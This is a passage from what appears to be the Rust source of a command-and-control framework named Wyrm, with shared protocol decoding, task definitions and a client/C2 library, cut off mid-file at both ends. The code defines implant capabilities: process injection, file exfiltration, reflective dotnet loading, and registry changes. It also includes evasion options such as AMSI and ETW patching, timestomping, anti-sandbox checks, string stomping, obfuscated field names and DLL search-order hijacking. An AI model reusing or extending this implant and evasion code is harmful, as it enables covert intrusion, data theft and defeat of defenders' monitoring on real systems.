buf: Vec<u8> = Vec::with_capacity(input.len());\n\n    for word in input {\n        let [lo, hi] = word.to_le_bytes();\n        buf.push(lo);\n        buf.push(hi);\n    }\n\n    buf\n}\n\npub fn decode_u8buf_to_u16buf(input: &[u8]) -> Vec<u16> {\n    let mut u16_bytes: Vec<u16> = Vec::with_capacity(input.len());\n\n    for chunk in input.chunks_exact(2) {\n        let lo = chunk[0];\n        let hi = chunk[1];\n        let word = u16::from_le_bytes([lo, hi]);\n        u16_bytes.push(word);\n    }\n\n    u16_bytes\n}\n\npub fn decode_http_response(byte_response: &[u8]) -> Task {\n    const COMMAND_INT_BYTE_SZ: usize = 4;\n    const TASK_ID_BYTE_SZ: usize = 4;\n    const TIMESTAMP_BYTE_SZ: usize = 8;\n\n    //\n    // Pull out the task id (database ref)\n    //\n    let task_id = i32::from_le_bytes([\n        byte_response[0],\n        byte_response[1],\n        byte_response[2],\n        byte_response[3],\n    ]);\n\n    //\n    // Pull out command\n    //\n    let command_int = u32::from_le_bytes([\n        byte_response[4],\n        byte_response[5],\n        byte_response[6],\n        byte_response[7],\n    ]);\n    let command = Command::from_u32(command_int);\n\n    //\n    // Pull out timestamp of completed task\n    //\n    let timestamp = i64::from_le_bytes([\n        byte_response[8],\n        byte_response[9],\n        byte_response[10],\n        byte_response[11],\n        byte_response[12],\n        byte_response[13],\n        byte_response[14],\n        byte_response[15],\n    ]);\n\n    // Check if we have trailing metadata, if not - return the data as obtained thus far\n    let basic_packet_len = COMMAND_INT_BYTE_SZ + TIMESTAMP_BYTE_SZ + TASK_ID_BYTE_SZ;\n    if byte_response.len() == basic_packet_len {\n        return Task {\n            id: task_id,\n            command,\n            metadata: None,\n            completed_time: timestamp,\n        };\n    }\n\n    //\n    // We now know there is a message present, so we can pull it out of the u8 vec by\n    // converting it to a utf-16 string.\n    //\n\n    let message_bytes = &byte_response[basic_packet_len..];\n    let u16_bytes = decode_u8buf_to_u16buf(message_bytes);\n    let task_metadata_string = String::from_utf16_lossy(&u16_bytes);\n\n    Task {\n        id: task_id,\n        command,\n        metadata: Some(task_metadata_string),\n        completed_time: timestamp,\n    }\n}\n"
  },
  {
    "path": "shared/src/stomped_structs.rs",
    "content": "//! This module provides structs which have had their serilisation names stomped for evasion purposes, primarily\n//! these are used in the implant, but also used on the client, and / or C2.\n\nuse std::collections::BTreeMap;\n\nuse serde::{Deserialize, Serialize};\n\nuse crate::tasks::WyrmResult;\n\n/// An individual process\n#[derive(Deserialize, Serialize, Clone)]\n#[serde(rename = \"a\")]\npub struct Process {\n    #[serde(rename = \"b\")]\n    pub pid: u32,\n    #[serde(rename = \"c\")]\n    pub name: String,\n    #[serde(rename = \"d\")]\n    pub user: String,\n    #[serde(rename = \"e\")]\n    pub ppid: u32,\n}\n\n#[derive(Deserialize, Serialize, Clone, Default)]\n#[serde(rename = \"a\")]\npub struct RegQueryResult {\n    #[serde(rename = \"b\")]\n    pub subkeys: Vec<String>,\n    #[serde(rename = \"c\")]\n    pub values: BTreeMap<String, String>,\n}\n\nimpl TryFrom<&str> for RegQueryResult {\n    type Error = Vec<String>;\n\n    fn try_from(value: &str) -> Result<Self, Vec<String>> {\n        let results = match serde_json::from_str::<WyrmResult<String>>(value) {\n            Ok(data) => match data {\n                WyrmResult::Ok(inner_string_from_result) => {\n                    match serde_json::from_str::<RegQueryResult>(&inner_string_from_result) {\n                        Ok(results_as_vec) => results_as_vec,\n                        Err(e) => {\n                            return Err(vec![format!(\"Error {e}, {}\", inner_string_from_result)]);\n                        }\n                    }\n                }\n                WyrmResult::Err(e) => {\n                    return Err(vec![format!(\"Error with operation. {e}\")]);\n                }\n            },\n            Err(e) => {\n                return Err(vec![format!(\"Could not deserialise response data. {e}.\")]);\n            }\n        };\n\n        return Ok(results);\n    }\n}\n\nimpl RegQueryResult {\n    pub fn client_print_formatted(&self) -> Vec<String> {\n        let mut result_printer = vec![];\n        for v in &self.subkeys {\n            result_printer.push(format!(\"[subkey] {v}\"));\n        }\n\n        if !result_printer.is_empty() {\n            result_printer.push(\"\\t\\t--\".to_string());\n        }\n\n        const KEY_SZ: usize = 35;\n\n        let v1 = \"[Value name]\";\n        let v2 = \"[Value data]\";\n        let f = format!(\"{:<KEY_SZ$}{}\", v1, v2);\n\n        result_printer.push(f);\n        for (k, v) in &self.values {\n            let f = format!(\"{:<KEY_SZ$}{}\", k, v);\n            result_printer.push(f);\n        }\n\n        result_printer\n    }\n}\n"
  },
  {
    "path": "shared/src/task_types.rs",
    "content": "use serde::{Deserialize, Serialize};\n\n/// The inner type for the [`AdminCommand::Copy`] and [`AdminCommand::Move`], represented as an tuple with\n/// the format (from, to).\npub type FileCopyInner = (String, String);\n\n/// Represents inner data for the [`AdminCommand::BuildAllBins`], as a tuple for:\n/// (`profile_disk_name`, `save path`, `implant_profile`).\npub type BuildAllBins = (String, String, String);\n\npub type RegQueryInner = (String, Option<String>);\n\n#[derive(Serialize, Deserialize, Clone, Copy)]\npub enum RegType {\n    String = 0,\n    U32,\n    U64,\n}\n\n// pub const REG_TYPE_STRING: u32 = 0b0001;\n// pub const REG_TYPE_U32: u32 = 0b0010;\n// pub const REG_TYPE_U64: u32 = 0b0100;\n\n/// Inner type for a `reg add` operation, containing:\n/// - the key,\n/// - the value,\n/// - the data\n/// - the type (as a [`RegType`]).\npub type RegAddInner = (String, String, String, RegType);\n\n/// The metadata for executing a dotnet binary. Consisting of the raw IL bytes and\n/// a vec of args to pass\npub type DotExDataForImplant = (Vec<u8>, Vec<String>);\n"
  },
  {
    "path": "shared/src/tasks.rs",
    "content": "use core::panic;\nuse serde::{Deserialize, Serialize};\nuse std::{\n    collections::{BTreeMap, HashSet},\n    fmt::{Debug, Display},\n    mem::transmute,\n    path::PathBuf,\n};\n\nuse crate::task_types::{FileCopyInner, RegAddInner, RegQueryInner};\n\n/// Commands supported by the implant and C2.\n///\n/// To convert an integer `u32` to a [`Command`], use [`Command::from_u32`].\n///\n/// # Safety\n/// We are using 'C' style enums to avoid needing serde to ser/deser types through the network.\n/// When interpreting a command integer, it **MUST** in all cases, be interpreted by [`std::mem::transmute`]\n/// as a `u32`, otherwise you risk UB.\n#[repr(u32)]\n#[derive(Serialize, Deserialize, Copy, Clone, PartialEq, Eq)]\npub enum Command {\n    Sleep = 1u32,\n    Ps,\n    GetUsername,\n    Pillage,\n    UpdateSleepTime,\n    Pwd,\n    // Used when the beacon first boots, sending self metadata to the c2\n    AgentsFirstSessionBeacon,\n    Cd,\n    KillAgent,\n    KillProcess,\n    Ls,\n    Run,\n    /// Uploads a file to the target machine\n    Drop,\n    /// Copies a file\n    Copy,\n    /// Moves a file\n    Move,\n    /// Removes a file\n    RmFile,\n    /// Removes a directory\n    RmDir,\n    /// Pulls a file from the target machine, downloading to the C2\n    Pull,\n    RegQuery,\n    RegAdd,\n    RegDelete,\n    /// Execute dotnet in current process\n    DotEx,\n    WhoAmI,\n    /// Messages we intercepted from the console to be sent to the c2\n    ConsoleMessages,\n    Spawn,\n    StaticWof,\n    /// Perform remote process injection\n    Inject,\n    // This should be totally unreachable; but keeping to make sure we don't get any weird UB, and\n    // make sure it is itemised last in the enum\n    Undefined,\n}\n\n#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)]\npub struct FileDropMetadata {\n    pub internal_name: String,\n    pub download_name: String,\n    pub download_uri: Option<String>,\n}\n\npub const DELIM_FILE_DROP_METADATA: &str = \",\";\n\nimpl Into<String> for FileDropMetadata {\n    fn into(self) -> String {\n        //\n        // IMPORTANT:\n        // We serialise the data for FileDropMetadata via a string, delimited by commas.\n        // If we make any changes to FileDropMetadata we need to ensure the below format is free of the\n        // delimiter; AND we need to check that when we deserialise using From<&str> for FileDropMetadata\n        // that we pull out the fields in the same order they are serialised.\n        //\n        // Was facing some issues with the struct name being present in the binary which I couldn't avoid.\n        // The data for this is encoded under the wire, so there should be no network based OPSEC issues with\n        // this approach.\n        //\n\n        // Do some input checks, we cannot contain the delimiter, otherwise panic.\n        assert!(!self.internal_name.contains(DELIM_FILE_DROP_METADATA));\n        assert!(!self.download_name.contains(DELIM_FILE_DROP_METADATA));\n        assert!(\n            !self\n                .download_uri\n                .as_deref()\n                .unwrap_or_default()\n                .contains(DELIM_FILE_DROP_METADATA)\n        );\n\n        format!(\n            \"{}{d}{}{d}{}\",\n            self.internal_name,\n            self.download_name,\n            self.download_uri.as_deref().unwrap_or_default(),\n            d = DELIM_FILE_DROP_METADATA,\n        )\n    }\n}\n\nimpl From<&str> for FileDropMetadata {\n    /// Convert a `&str` to a [`FileDropMetadata`]. The data as a string must be delimited by\n    /// commas, and not contain commas within the substrings.\n    ///\n    /// # Panics\n    /// This function will panic if there are not an exact number of fields which is expected. Aside from bad implementation,\n    /// this would be caused by the delimiter appearing within the encoded substrings.\n    fn from(value: &str) -> Self {\n        //\n        // IMPORTANT\n        // See notes in `impl Into<String> for FileDropMetadata` to make sure we adhere to the rules\n        // around the ordering and content of contained data.\n        //\n\n        let parts: Vec<&str> = value.split(',').collect();\n\n        assert_eq!(parts.len(), 3);\n\n        let download_uri: Option<String> = if parts[2].is_empty() {\n            None\n        } else {\n            Some(parts[2].to_string())\n        };\n\n        Self {\n            internal_name: parts[0].into(),\n            download_name: parts[1].into(),\n            download_uri,\n        }\n    }\n}\n\nimpl Into<u32> for Command {\n    fn into(self) -> u32 {\n        self as u32\n    }\n}\n\nimpl Command {\n    pub fn from_u32(id: u32) -> Self {\n        // SAFETY: We have type safe signature ensuring that the input type is a u32 for the conversion\n        unsafe { transmute(id) }\n    }\n\n    pub fn to_u16_tuple_le(&self) -> (u16, u16) {\n        let low_word: u16 = (*self as u32 & 0xFFFF) as u16;\n        let high_word: u16 = (*self as u32 >> 16) as u16;\n\n        (low_word, high_word)\n    }\n\n    /// Determines whether the task is auto-completable for the database\n    pub fn is_autocomplete(&self) -> bool {\n        matches!(\n            self,\n            Command::Sleep | Command::UpdateSleepTime | Command::KillAgent\n        )\n    }\n}\n\n#[cfg(debug_assertions)]\nimpl Display for Command {\n    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n        let choice = match self {\n            Command::Sleep => \"Sleep\",\n            Command::Ps => \"ListProcesses\",\n            Command::Undefined => \"Undefined -> You received an invalid code.\",\n            Command::GetUsername => \"GetUsername\",\n            Command::Pillage => \"ListUsersDirs\",\n            Command::UpdateSleepTime => \"UpdateSleepTime\",\n            Command::Pwd => \"Pwd\",\n            Command::AgentsFirstSessionBeacon => \"AgentsFirstSessionBeacon\",\n            Command::Cd => \"Cd\",\n            Command::KillAgent => \"KillAgent\",\n            Command::Ls => \"Ls\",\n            Command::Run => \"Run\",\n            Command::KillProcess => \"KillProcess\",\n            Command::Drop => \"Drop\",\n            Command::Copy => \"Copy\",\n            Command::Move => \"Move\",\n            Command::Pull => \"Pull\",\n            Command::RegQuery => \"reg query\",\n            Command::RegAdd => \"reg add\",\n            Command::RegDelete => \"reg del\",\n            Command::RmFile => \"RmFile\",\n            Command::RmDir => \"RmDir\",\n            Command::DotEx => \"DotEx\",\n            Command::ConsoleMessages => \"Agent console messages\",\n            Command::WhoAmI => \"whoami\",\n            Command::Spawn => \"SpawnChild\",\n            Command::StaticWof => \"StaticWof\",\n            Command::Inject => \"Inject\",\n        };\n\n        write!(f, \"{choice}\")\n    }\n}\n\n#[derive(Serialize, Deserialize, Clone)]\npub struct DotExInner {\n    /// A partial path to the tool in the /tools mount\n    pub tool_path: String,\n    pub args: Vec<String>,\n}\n\n#[derive(Serialize, Deserialize, Clone)]\n#[serde(rename = \"1\")]\npub struct InjectInnerForAdmin {\n    #[serde(rename = \"2\")]\n    pub download_name: String,\n    #[serde(rename = \"3\")]\n    pub pid: u32,\n}\n\n#[derive(Serialize, Deserialize, Clone)]\n#[serde(rename = \"1\")]\npub struct InjectInnerForPayload {\n    #[serde(rename = \"2\")]\n    pub payload_bytes: Vec<u8>,\n    #[serde(rename = \"3\")]\n    pub pid: u32,\n}\n\nimpl DotExInner {\n    pub fn from(tool_path: String, args: Vec<String>) -> Self {\n        Self { tool_path, args }\n    }\n}\n\n#[derive(Serialize, Deserialize, Clone)]\npub enum AdminCommand {\n    Sleep(i64),\n    ListAgents,\n    ListProcesses,\n    GetUsername,\n    ListUsersDirs,\n    Pwd,\n    KillAgent,\n    KillProcessById(String),\n    Cd(String),\n    Ls,\n    ShowServerTime,\n    StageFileOnC2(FileUploadStagingFromClient),\n    Login,\n    ListStagedResources,\n    DeleteStagedResource(String),\n    Run(String),\n    RemoveAgentFromList,\n    Drop(FileDropMetadata),\n    Copy(FileCopyInner),\n    Move(FileCopyInner),\n    RmFile(String),\n    RmDir(String),\n    /// Pulls a file from the target machine, downloading to the C2\n    Pull(String),\n    BuildAllBins(String),\n    RegQuery(RegQueryInner),\n    RegAdd(RegAddInner),\n    RegDelete(RegQueryInner),\n    /// Exports the completed tasks database for an agent.\n    ExportDb,\n    DotEx(DotExInner),\n    WhoAmI,\n    Spawn(String),\n    StaticWof(String),\n    Inject(InjectInnerForAdmin),\n    /// Used for dispatching no admin command, but to be handled via a custom route on the C2\n    None,\n    Undefined,\n}\n\n#[repr(C)]\n#[derive(Serialize)]\npub struct Task {\n    pub id: i32,\n    pub command: Command,\n    pub completed_time: i64,\n    pub metadata: Option<String>,\n}\n\nimpl Task {\n    pub fn from(id: i32, command: Command, metadata: Option<String>) -> Self {\n        Self {\n            id,\n            command,\n            metadata,\n            completed_time: 0,\n        }\n    }\n\n    /// Deserialises the incoming data into a `T`, returning `None` if the metadata\n    /// was `None`, and `Ok(T)` / `Err(E)` depending on how the serde_json went\n    pub fn deserialise_metadata<'a, T: Deserialize<'a>>(\n        &'a self,\n    ) -> Option<Result<T, serde_json::Error>> {\n        let Some(ref metadata) = self.metadata else {\n            return None;\n        };\n\n        Some(serde_json::from_str(metadata))\n    }\n}\n\nimpl Display for Task {\n    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n        #[cfg(debug_assertions)]\n        return write!(\n            f,\n            \"id: {}, command: {}, metadata: {:?}\",\n            self.id, self.command, self.metadata\n        );\n\n        #[cfg(not(debug_assertions))]\n        return write!(f, \"\");\n    }\n}\n\n#[derive(Serialize, Deserialize, Clone, Default)]\n#[serde(rename = \"abc\")]\npub struct FirstRunData {\n    /// `a` is alias for `cwd`\n    pub a: PathBuf,\n    /// `b` is alias for `pid`\n    pub b: u32,\n    /// `c` is alias for `process_name`\n    pub c: String,\n    /// `d` is alias for `agent_name_as_named_by_operator`\n    ///\n    /// The agent name given to it by the operator during creation, think of this as a\n    /// 'family' name.\n    pub d: String,\n    /// `e` is an alias for teh `Sleep time` of the agent in seconds\n    pub e: u64,\n}\n\n/// Check whether a list of tasks contains the `KillAgent` [`Command`].\n///\n/// # Returns\n/// - `true`: If [`Command::KillAgent`] is present\n/// - `false`: If it is not present.\npub fn tasks_contains_kill_agent<T>(tasks: &T) -> bool\nwhere\n    for<'a> &'a T: IntoIterator<Item = &'a Task>,\n{\n    tasks.into_iter().any(|t| t.command == Command::KillAgent)\n}\n\n#[derive(Serialize, Deserialize, Clone)]\npub enum WyrmResult<T: Serialize> {\n    Ok(T),\n    Err(String),\n}\n\nimpl<T: Serialize> Debug for WyrmResult<T> {\n    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n        match self {\n            Self::Ok(_) => f.debug_tuple(\"Ok\").finish(),\n            Self::Err(e) => f.debug_tuple(\"Err\").field(e).finish(),\n        }\n    }\n}\n\nimpl<T: Serialize> Default for WyrmResult<T> {\n    fn default() -> Self {\n        Self::Err(\"abcdefghijklmnop\".into())\n    }\n}\n\nimpl<T: Serialize> WyrmResult<T> {\n    /// Unwraps a wyrm result.\n    ///\n    /// # Panics\n    /// This function will panic with no output error (OPSEC) if unwrap failed.\n    pub fn unwrap(self) -> T {\n        match self {\n            WyrmResult::Ok(x) => x,\n            WyrmResult::Err(_) => panic!(),\n        }\n    }\n\n    pub fn is_err(&self) -> bool {\n        match self {\n            WyrmResult::Ok(_) => false,\n            WyrmResult::Err(e) => {\n                // As the default sets the message to `\"\"` (opsec to prevent strings in binary)\n                // we check whether the error contained is the default initialiser\n                e != \"abcdefghijklmnop\"\n            }\n        }\n    }\n\n    pub fn is_empty(&self) -> bool {\n        if let Self::Err(e) = self\n            && e == \"abcdefghijklmnop\"\n        {\n            return true;\n        }\n\n        false\n    }\n}\n\n/// Configuration of a new agent that the C2 will create; the agent will then be staged at `staging_endpoint` on the\n/// server.\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct NewAgentStaging {\n    pub implant_name: String,\n    pub default_sleep_time: i64,\n    pub c2_address: String,\n    pub c2_endpoints: Vec<String>,\n    pub staging_endpoint: String,\n    pub pe_name: String,\n    pub port: u16,\n    /// A token which validates the agent with the C2. This will prevent attacks whereby an adversary enters an WWW-Authenticate header,\n    /// as this would allow them to connect to the C2 as an 'agent'. Their attack would likely be very limited, but it would be possible\n    /// for them to POST to the database, etc.\n    ///\n    /// This token will also help reduce a little server load / ability to be DOS'ed, as the token can be used for authorisation before the\n    /// server actually processes the request (via middleware).\n    pub agent_security_token: String,\n    pub antisandbox_trig: bool,\n    pub antisandbox_ram: bool,\n    pub stage_type: StageType,\n    pub build_debug: bool,\n    pub useragent: String,\n    pub patch_etw: bool,\n    pub patch_amsi: bool,\n    pub jitter: Option<u64>,\n    pub timestomp: Option<String>,\n    pub default_spawn_as: Option<String>,\n    pub exports: Exports,\n    pub svc_name: String,\n    pub string_stomp: Option<StringStomp>,\n    pub mutex: Option<String>,\n    pub wofs: Option<Vec<String>>,\n}\n\nimpl NewAgentStaging {\n    pub fn from_staged_file_metadata(staging_endpoint: &str, download_name: &str) -> Self {\n        NewAgentStaging {\n            implant_name: \"-\".into(),\n            default_sleep_time: 0,\n            c2_address: \"-\".into(),\n            c2_endpoints: vec![\"-\".into()],\n            staging_endpoint: staging_endpoint.to_owned(),\n            pe_name: download_name.to_owned(),\n            port: 1,\n            agent_security_token: \"-\".into(),\n            antisandbox_trig: false,\n            antisandbox_ram: false,\n            stage_type: StageType::Exe,\n            build_debug: false,\n            useragent: String::new(),\n            patch_etw: false,\n            patch_amsi: true,\n            jitter: None,\n            timestomp: None,\n            exports: None,\n            svc_name: \"-\".to_string(),\n            string_stomp: None,\n            mutex: None,\n            default_spawn_as: None,\n            wofs: None,\n        }\n    }\n}\n\n#[derive(Serialize, Deserialize, Copy, Clone, Debug, PartialEq)]\npub enum StageType {\n    Dll,\n    Exe,\n    Svc,\n    All,\n}\n\nimpl Display for StageType {\n    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n        match self {\n            StageType::Dll => write!(f, \"dll\"),\n            StageType::Exe => write!(f, \"exe\"),\n            StageType::Svc => write!(f, \"svc\"),\n            StageType::All => write!(f, \"all\"),\n        }\n    }\n}\n\n/// Data which relates to a file upload to be staged on the server.\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct FileUploadStagingFromClient {\n    pub download_name: String,\n    pub api_endpoint: String,\n    pub file_data: Vec<u8>,\n}\n\n#[derive(Serialize, Deserialize, Clone)]\n#[serde(rename = \"a\")]\npub struct PowershellOutput {\n    #[serde(rename = \"b\")]\n    pub stdout: Option<String>,\n    #[serde(rename = \"c\")]\n    pub stderr: Option<String>,\n}\n\n#[derive(Serialize, Deserialize)]\n#[serde(rename = \"a\")]\npub struct ExfiltratedFile {\n    #[serde(rename = \"a\")]\n    pub hostname: String,\n    #[serde(rename = \"b\")]\n    pub file_path: String,\n    #[serde(rename = \"c\")]\n    pub file_data: Vec<u8>,\n}\n\nimpl ExfiltratedFile {\n    pub fn new(hostname: String, file_path: String, file_data: Vec<u8>) -> Self {\n        Self {\n            hostname,\n            file_path,\n            file_data,\n        }\n    }\n}\n\n#[derive(Serialize, Deserialize)]\npub struct BaBData {\n    pub implant_key: String,\n}\n\nimpl BaBData {\n    pub fn from(implant_key: String) -> Self {\n        Self { implant_key }\n    }\n}\n\n/// An export which is added to the binary when built as a DLL to allow for\n/// DLL sideloading, custom entrypoints, and annoying some blue teamers :E\npub type Exports = Option<BTreeMap<String, ExportConfig>>;\n\n#[derive(Serialize, Deserialize, Debug, Default, Clone)]\npub struct ExportConfig {\n    /// Optional machine code to be placed under the export.\n    pub machine_code: Option<Vec<u8>>,\n    /// Used for DLL Search Order Hijacking, the BTreeMap consists of\n    /// k=target DLL, v=Target function\n    pub proxy: Option<BTreeMap<String, String>>,\n}\n\n#[derive(Serialize, Deserialize, Debug, Default, Clone)]\npub struct StringStomp {\n    /// Strings to remove with zeros from the binary\n    pub remove: Option<HashSet<String>>,\n    /// Strings to replace in the binary\n    pub replace: Option<BTreeMap<String, String>>,\n}\n\nimpl StringStomp {\n    /// Creates a new [`StringStomp`] from optional input lists of the correct type. The function will\n    /// add a null byte to the end of each string if it does not exist so that it is compatible with\n    /// searching for proper null terminated strings.\n    pub fn from(string_stomp: &Option<StringStomp>) -> Option<Self> {\n        let string_stomp = match string_stomp {\n            Some(s) => s,\n            None => return None,\n        };\n\n        let remove = {\n            if let Some(inner) = &string_stomp.remove {\n                let mut r = HashSet::with_capacity(inner.len());\n\n                for s in inner.iter() {\n                    let builder = s.to_owned();\n                    let mut builder = builder.replace(r\"\\\\\", r\"\\\");\n\n                    if !builder.ends_with('\\0') {\n                        builder.push('\\0');\n                    }\n\n                    r.insert(builder);\n                }\n\n                Some(r)\n            } else {\n                None\n            }\n        };\n\n        let replace = {\n            if let Some(inner) = &string_stomp.replace {\n                let mut r = BTreeMap::new();\n\n                for (k, v) in inner.iter() {\n                    let k_builder = k.to_owned();\n                    let v_builder = v.to_owned();\n                    r.insert(k_builder, v_builder);\n                }\n\n                Some(r)\n            } else {\n                None\n            }\n        };\n\n        Some(Self { remove, replace })\n    }\n}\n"
  },
  {
    "path": "shared_c2_client/Cargo.toml",
    "content": "[package]\nname = \"shared_c2_client\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nserde = {version = \"1.0\", features = [\"derive\"] }\nserde_json = \"1\"\nchrono = { version = \"0.4.41\", features = [\"serde\"] }\nshared = { path = \"../shared\" }\n\n[target.'cfg(not(target_arch = \"wasm32\"))'.dependencies]\nsqlx = { version = \"=0.8.6\", features = [\"postgres\", \"chrono\"] }"
  },
  {
    "path": "shared_c2_client/readme.md",
    "content": "# shared_c2_client\n\nThis is a shared library for use between the C2 and the Client which requires certain\nfeatures which are excluded from the implant for OPSEC reasons, such as being able to\nprint the Command properly in release mode."
  },
  {
    "path": "shared_c2_client/src/lib.rs",
    "content": "use serde::{Deserialize, Serialize};\nuse serde_json::Value;\nuse shared::tasks::{Command, Task};\nuse sqlx::FromRow;\n\npub const ADMIN_AUTH_SEPARATOR: &str = \"=authdivider=\";\n\n/// The collective for multiple [`NotificationForAgent`].\npub type NotificationsForAgents = Vec<NotificationForAgent>;\n\n/// A representation of in memory agents on the C2, being a tuple of:\n/// - `String`: Agent display representation\n/// - `bool`: Is stale\n/// - `Option<Value>`: Any new notifications\npub type AgentC2MemoryNotifications = (String, bool, Option<Value>);\n\n/// A representation of the database information pertaining to agent notifications which have not\n/// yet been pulled by the operator.\n#[derive(Debug, FromRow, Serialize, Deserialize)]\npub struct NotificationForAgent {\n    pub completed_id: i32,\n    pub task_id: i32,\n    pub command_id: i32,\n    pub agent_id: String,\n    pub result: Option<String>,\n    pub time_completed_ms: i64,\n}\n\n/// Converts a [`Command`] to a `String`\npub fn command_to_string(cmd: &Command) -> String {\n    let c = match cmd {\n        Command::Sleep => \"Sleep\",\n        Command::Ps => \"ListProcesses\",\n        Command::GetUsername => \"GetUsername\",\n        Command::Pillage => \"Pillage\",\n        Command::UpdateSleepTime => \"UpdateSleepTime\",\n        Command::Pwd => \"Pwd\",\n        Command::AgentsFirstSessionBeacon => \"AgentsFirstSessionBeacon\",\n        Command::Cd => \"Cd\",\n        Command::KillAgent => \"KillAgent\",\n        Command::Ls => \"Ls\",\n        Command::Run => \"Run\",\n        Command::KillProcess => \"KillProcess\",\n        Command::Drop => \"Drop\",\n        Command::Undefined => \"Undefined\",\n        Command::Copy => \"Copy\",\n        Command::Move => \"Move\",\n        Command::Pull => \"Pull\",\n        Command::RegQuery => \"reg query\",\n        Command::RegAdd => \"reg add\",\n        Command::RegDelete => \"reg del\",\n        Command::RmFile => \"RmFile\",\n        Command::RmDir => \"RmDir\",\n        Command::DotEx => \"DotEx\",\n        Command::ConsoleMessages => \"Agent console messages\",\n        Command::WhoAmI => \"whoami\",\n        Command::Spawn => \"Spawn\",\n        Command::StaticWof => \"Static WOF\",\n        Command::Inject => \"Inject\",\n    };\n\n    c.into()\n}\n\n#[derive(Serialize)]\npub struct MitreTTP<'a> {\n    ttp_major: &'a str,\n    ttp_minor: Option<&'a str>,\n    name: &'a str,\n    link: &'a str,\n}\n\nimpl<'a> MitreTTP<'a> {\n    pub fn from(\n        ttp_major: &'a str,\n        ttp_minor: Option<&'a str>,\n        name: &'a str,\n        link: &'a str,\n    ) -> Self {\n        MitreTTP {\n            ttp_major,\n            ttp_minor,\n            name,\n            link,\n        }\n    }\n}\n\npub trait MapToMitre<'a> {\n    fn map_to_mitre(&'a self) -> MitreTTP<'a>;\n}\n\nimpl<'a> MapToMitre<'a> for Command {\n    fn map_to_mitre(&'a self) -> MitreTTP<'a> {\n        match self {\n            Command::Sleep => MitreTTP::from(\n                \"TA0011\",\n                None,\n                \"Command and Control\",\n                \"https://attack.mitre.org/tactics/TA0011/\",\n            ),\n            Command::Ps => MitreTTP::from(\n                \"T1057\",\n                None,\n                \"Process Discovery\",\n                \"https://attack.mitre.org/techniques/T1057/\",\n            ),\n            Command::GetUsername => MitreTTP::from(\n                \"T1033\",\n                None,\n                \"System Owner/User Discovery\",\n                \"https://attack.mitre.org/techniques/T1033/\",\n            ),\n            Command::Pillage => MitreTTP::from(\n                \"T1083\",\n                None,\n                \"File and Directory Discovery\",\n                \"https://attack.mitre.org/techniques/T1083/\",\n            ),\n            Command::UpdateSleepTime => MitreTTP::from(\n                \"TA0011\",\n                None,\n                \"Command and Control\",\n                \"https://attack.mitre.org/tactics/TA0011/\",\n            ),\n            Command::Pwd => MitreTTP::from(\n                \"T1083\",\n                None,\n                \"File and Directory Discovery\",\n                \"https://attack.mitre.org/techniques/T1083/\",\n            ),\n            Command::AgentsFirstSessionBeacon => MitreTTP::from(\n                \"TA0011\",\n                None,\n                \"Command and Control\",\n                \"https://attack.mitre.org/tactics/TA0011/\",\n            ),\n            Command::Cd => MitreTTP::from(\n                \"T1083\",\n                None,\n                \"File and Directory Discovery\",\n                \"https://attack.mitre.org/techniques/T1083/\",\n            ),\n            Command::KillAgent => MitreTTP::from(\n                \"T1070\",\n                None,\n                \"Indicator Removal\",\n                \"https://attack.mitre.org/techniques/T1070/\",\n            ),\n            Command::KillProcess => MitreTTP::from(\n                \"T1489\",\n                None,\n                \" Service Stop\",\n                \"https://attack.mitre.org/techniques/T1489/\",\n            ),\n            Command::Ls => MitreTTP::from(\n                \"T1083\",\n                None,\n                \"File and Directory Discovery\",\n                \"https://attack.mitre.org/techniques/T1083/\",\n            ),\n            Command::Run => MitreTTP::from(\n                \"T1059\",\n                Some(\"001\"),\n                \"Command and Scripting Interpreter: PowerShell\",\n                \"https://attack.mitre.org/techniques/T1059/001/\",\n            ),\n            Command::Drop => MitreTTP::from(\n                \"T1105\",\n                None,\n                \"Ingress Tool Transfer\",\n                \"https://attack.mitre.org/techniques/T1105/\",\n            ),\n            Command::Copy => MitreTTP::from(\n                \"T1074\",\n                Some(\"001\"),\n                \"Data Staged: Local Data Staging\",\n                \"https://attack.mitre.org/techniques/T1074/001/\",\n            ),\n            Command::Move => MitreTTP::from(\n                \"T1074\",\n                Some(\"001\"),\n                \"Data Staged: Local Data Staging\",\n                \"https://attack.mitre.org/techniques/T1074/001/\",\n            ),\n            Command::RmFile => MitreTTP::from(\n                \"T1070\",\n                Some(\"004\"),\n                \"Indicator Removal: File Deletion\",\n                \"https://attack.mitre.org/techniques/T1070/004/\",\n            ),\n            Command::RmDir => MitreTTP::from(\n                \"T1070\",\n                Some(\"004\"),\n                \"Indicator Removal: File Deletion\",\n                \"https://attack.mitre.org/techniques/T1070/004/\",\n            ),\n            Command::Pull => MitreTTP::from(\n                \"T1041\",\n                None,\n                \"Exfiltration Over C2 Channel\",\n                \"https://attack.mitre.org/techniques/T1041/\",\n            ),\n            Command::RegQuery => MitreTTP::from(\n                \"T1012\",\n                None,\n                \"Query Registry\",\n                \"https://attack.mitre.org/techniques/T1012/\",\n            ),\n            Command::RegAdd => MitreTTP::from(\n                \"T1112\",\n                None,\n                \"Modify Registry\",\n                \"https://attack.mitre.org/techniques/T1112/\",\n            ),\n            Command::RegDelete => MitreTTP::from(\n                \"T1112\",\n                None,\n                \"Modify Registry\",\n                \"https://attack.mitre.org/techniques/T1112/\",\n            ),\n            Command::Undefined => MitreTTP::from(\"UNDEFINED\", None, \"UNDEFINED\", \"UNDEFINED\"),\n            Command::DotEx => MitreTTP::from(\n                \"T1620\",\n                None,\n                \"Reflective Code Loading\",\n                \"https://attack.mitre.org/techniques/T1620/\",\n            ),\n            Command::ConsoleMessages => MitreTTP::from(\n                \"TA0011\",\n                None,\n                \"Command and Control\",\n                \"https://attack.mitre.org/tactics/TA0011/\",\n            ),\n            Command::WhoAmI => MitreTTP::from(\n                \"T1033\",\n                None,\n                \"System Owner/User Discovery\",\n                \"https://attack.mitre.org/techniques/T1033/\",\n            ),\n            Command::Spawn => MitreTTP::from(\n                \"T1055\",\n                None,\n                \"Process Injection\",\n                \"https://attack.mitre.org/techniques/T1055/\",\n            ),\n            Command::StaticWof => 